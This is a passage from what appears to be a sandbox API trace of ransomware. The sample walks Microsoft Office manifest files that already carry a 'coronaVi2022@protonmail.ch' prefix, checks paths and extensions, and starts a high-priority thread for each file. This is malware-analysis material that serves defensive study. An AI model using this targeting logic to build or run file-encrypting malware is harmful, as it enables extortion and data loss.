	[0088.858] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fc5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0088.859] SetThreadPriority (hThread=0x7dc, nPriority=15) returned 1
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0088.867] _wcslwr (in: _String=0x3157690 | out: _String=".xml") returned=".xml"
	[0088.867] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0088.867] malloc (_Size=0x1000) returned 0x2fd9878
	[0088.867] _swprintf (in: param_1=0x2fd9878, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 133
	[0088.868] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.868] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.868] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd9878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0088.868] SetThreadPriority (hThread=0x7ec, nPriority=15) returned 1
	[0088.871] malloc (_Size=0x1000) returned 0x2fda880
	[0088.872] _swprintf (in: param_1=0x2fda880, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 133
	[0088.872] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.872] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.872] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fda880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0088.873] SetThreadPriority (hThread=0x764, nPriority=15) returned 1
	[0088.876] malloc (_Size=0x1000) returned 0x2fdb888
	[0088.876] _swprintf (in: param_1=0x2fdb888, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 133
	[0088.876] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.876] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.876] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fdb888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0088.877] SetThreadPriority (hThread=0x80c, nPriority=15) returned 1
	[0088.882] malloc (_Size=0x1000) returned 0x2fdc890
	[0088.882] _swprintf (in: param_1=0x2fdc890, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 133
	[0088.882] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0088.882] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0088.882] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0088.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fdc890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0088.883] SetThreadPriority (hThread=0x818, nPriority=15) returned 1
	[0089.921] malloc (_Size=0x1000) returned 0x2fd7868
	[0089.921] _swprintf (in: param_1=0x2fd7868, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 133
	[0089.921] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.921] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.921] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fd7868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0089.922] SetThreadPriority (hThread=0x7f4, nPriority=15) returned 1
	[0089.925] malloc (_Size=0x1000) returned 0x2fde8c8
	[0089.926] _swprintf (in: param_1=0x2fde8c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 133
	[0089.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.926] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fde8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0089.927] SetThreadPriority (hThread=0x804, nPriority=15) returned 1
	[0089.929] malloc (_Size=0x1000) returned 0x2fe28e8
	[0089.929] _swprintf (in: param_1=0x2fe28e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 133
	[0089.929] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.929] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.929] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe28e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0089.930] SetThreadPriority (hThread=0x7e0, nPriority=15) returned 1
	[0089.935] malloc (_Size=0x1000) returned 0x2fe38f0
	[0089.935] _swprintf (in: param_1=0x2fe38f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 133
	[0089.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.935] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe38f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0
	[0089.936] SetThreadPriority (hThread=0x7b0, nPriority=15) returned 1
	[0089.938] malloc (_Size=0x1000) returned 0x2fe08d8
	[0089.938] _swprintf (in: param_1=0x2fe08d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 133
	[0089.938] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.938] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.938] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe08d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0089.939] SetThreadPriority (hThread=0x7c0, nPriority=15) returned 1
	[0089.944] malloc (_Size=0x1000) returned 0x2fdf8d0
	[0089.944] _swprintf (in: param_1=0x2fdf8d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 133
	[0089.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fdf8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0
	[0089.945] SetThreadPriority (hThread=0x7a0, nPriority=15) returned 1
	[0089.948] malloc (_Size=0x1000) returned 0x2fe18e0
	[0089.948] _swprintf (in: param_1=0x2fe18e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 133
	[0089.948] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.948] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.948] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe18e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0089.951] SetThreadPriority (hThread=0x808, nPriority=15) returned 1
	[0089.954] malloc (_Size=0x1000) returned 0x2fe48f8
	[0089.954] _swprintf (in: param_1=0x2fe48f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 133
	[0089.954] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.954] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.954] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe48f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0089.954] SetThreadPriority (hThread=0x7d4, nPriority=15) returned 1
	[0089.957] malloc (_Size=0x1000) returned 0x2fdd8c0
	[0089.957] _swprintf (in: param_1=0x2fdd8c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 133
	[0089.957] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.957] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.957] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fdd8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828
	[0089.958] SetThreadPriority (hThread=0x828, nPriority=15) returned 1
	[0089.960] malloc (_Size=0x1000) returned 0x2feb930
	[0089.960] _swprintf (in: param_1=0x2feb930, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 133
	[0089.960] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.960] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.960] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2feb930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834
	[0089.961] SetThreadPriority (hThread=0x834, nPriority=15) returned 1
	[0089.963] malloc (_Size=0x1000) returned 0x2fe6908
	[0089.963] _swprintf (in: param_1=0x2fe6908, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 133
	[0089.963] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.963] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.963] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe6908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840
	[0089.964] SetThreadPriority (hThread=0x840, nPriority=15) returned 1
	[0089.967] malloc (_Size=0x1000) returned 0x2fe7910
	[0089.967] _swprintf (in: param_1=0x2fe7910, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 133
	[0089.967] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.967] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.967] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe7910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0089.967] SetThreadPriority (hThread=0x84c, nPriority=15) returned 1
	[0089.975] malloc (_Size=0x1000) returned 0x2fe8918
	[0089.975] _swprintf (in: param_1=0x2fe8918, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 133
	[0089.975] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.975] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.975] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0089.976] SetThreadPriority (hThread=0x858, nPriority=15) returned 1
	[0089.979] malloc (_Size=0x1000) returned 0x2fea928
	[0089.979] _swprintf (in: param_1=0x2fea928, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 133
	[0089.979] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.979] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.979] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fea928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0089.979] SetThreadPriority (hThread=0x864, nPriority=15) returned 1
	[0089.982] malloc (_Size=0x1000) returned 0x2fe5900
	[0089.982] _swprintf (in: param_1=0x2fe5900, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 133
	[0089.982] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.982] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.982] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe5900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0089.983] SetThreadPriority (hThread=0x870, nPriority=15) returned 1
	[0089.985] malloc (_Size=0x1000) returned 0x2fe9920
	[0089.985] _swprintf (in: param_1=0x2fe9920, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 133
	[0089.985] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.985] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.985] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fe9920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0089.986] SetThreadPriority (hThread=0x87c, nPriority=15) returned 1
	[0089.989] malloc (_Size=0x1000) returned 0x51f60a0
	[0089.992] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 133
	[0089.993] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0089.993] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0089.993] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0089.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0089.993] SetThreadPriority (hThread=0x888, nPriority=15) returned 1
	[0090.028] malloc (_Size=0x1000) returned 0x51f70a8
	[0090.028] _swprintf (in: param_1=0x51f70a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 133
	[0090.028] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _SubStr="CoronaVirus") returned 0x0
	[0090.028] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _SubStr="wasse") returned 0x0
	[0090.028] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _SubStr="passw") returned 0x0
	[0090.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f70a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0090.028] SetThreadPriority (hThread=0x894, nPriority=15) returned 1
	[0090.031] malloc (_Size=0x1000) returned 0x51f3088
